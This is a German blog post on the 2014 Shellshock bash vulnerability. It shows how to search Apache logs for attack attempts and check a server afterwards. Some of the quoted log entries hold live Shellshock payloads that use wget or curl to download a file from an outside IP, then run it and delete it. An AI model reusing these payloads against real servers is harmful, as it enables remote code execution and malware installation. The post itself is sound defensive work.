Shellshock exploits

Kaum ist der Bug bekannt, listet Exploit-DB einen exploit dazu und ein Metasploit Modul gibt es auch. Das macht es leichter, in den eigenen Logs nach Angriffen zu suchen:

grep „{ :;};“ /var/log/apache2/access.log

bzw. auch mit zgrep, sollen die komprimierten Logs ebenfalls einen Blick wert sein. Wer noch geiler grep-en will: http://rubular.com/r/FRoObXn9Kx

Und da sind sie dann auch schon: Einmal als ein Test auf CGI

89.207.135.125 – – [25/Sep/2014:10:34:22 +0200] „GET /cgi-sys/defaultwebpage.cgi HTTP/1.0“ 404 506 „-“ „() { :;}; /bin/ping -c 1 198.101.206.138“

aber auch als Versuch, von anderen Seiten Executables oder Skripte nachzuladen:

66.150.114.30 – – [27/Sep/2014:04:56:38 +0200] „GET /test HTTP/1.0“ 404 484 „-“ „() { :;}; /bin/bash -c \“wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\““

192.227.213.66 – – [26/Sep/2014:16:09:16 +0200] „GET /cgi-bin/helpme HTTP/1.0“ 404 376 „-“ „() { :;}; /bin/bash -c \“cd /dev/shm;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\““

Man kann dann mal nach in den letzten 3 Tagen geänderten Dateien in verdächtigen oder besonders relevanten Verzeichnissen suchen

find /etc -type f -mtime -3 -printf ‚%TY-%Tm-%Td %TT %p\n‘ | sort

oder mit

nmap localhost

nachsehen, welche Ports auf der eigenen Maschine inzwischen offen sind oder mit

netstat -tulpen

nach aktiven Verbindungen fanden. Aber so richtig was bringen dürfte das auch nur, wenn man die Verzeichnisse gut eingrenzen kann und der erfolgreiche Angreifer nicht aufräumte.

Steht man auf Schlangenöl (wer würde dies nicht) blockiert man die IPs, von denen schon Angriffe kamen mit iptables. Am besten gleich, indem man sich eine function für die .bashrc schreibt:

function blockip () { /sbin/iptables -A INPUT -s $1 -j DROP ; }

Dann reicht ein

blockip 89.207.135.125,66.150.114.30

um zwei IPs zu blockieren – weitere kann man ja mit , getrennt noch hinten anfügen.

Lektüre gefällig? Z.B. hier und da und die jeweils verlinkten Seiten. Das bringt einem aber schlaflose Nächte – wohingegen: Schlangenöl beruhigt die Nerven.